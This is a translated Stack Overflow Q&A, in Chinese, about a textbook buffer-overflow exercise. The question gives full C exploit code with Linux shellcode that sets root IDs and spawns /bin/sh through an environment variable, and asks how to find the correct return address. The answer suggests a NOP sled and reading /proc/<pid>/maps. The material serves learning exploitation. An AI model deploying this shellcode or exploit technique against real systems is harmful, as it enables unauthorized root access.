我正在尝试这段受“黑客:剥削的艺术”一书启发的代码。它涉及使用环境变量利用缓冲区溢出。利用代码为:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd"
"\x80";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, 0};
unsigned int i, ret;
char *buffer = (char *)malloc(160);
ret = 0xbffffffa - sizeof(shellcode) - strlen("./auth_overflow");
for (i = 0; i < 160; i += 4)
*((unsigned int *)(buffer + i)) = ret;
execle("./auth_overflow", "auth_overflow", buffer, (char *)NULL, env);
free(buffer);
}
问题是基址0xbffffffa
。我读了here这个地址的原因是因为“Linux内核是这样实现的”。该漏洞仍然无法正常工作并导致段错误。
我在 64 位机器上运行内核版本 3.13.0-83-generic
的 Ubuntu 14.04
,我正在使用以下代码编译利用代码命令:
gcc -m32 -fno-stack-protector -z execstack -g exploit.c -o exploit
我还禁用了 ASLR。
关于如何确定这个基于地址的任何想法?
感谢您的帮助。
最佳答案
这种利用的想法是使用 nop sled在你实际的 shellcode 之前。这样,即使您的地址近似值不好,也有更多机会点击 nop,直到您的 shellcode 被执行。
要获得该地址,您可以欺骗(开始)查看 /proc/<<pid>>/maps
中的内存映射.
关于c - 使用环境变量的缓冲区溢出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36885127/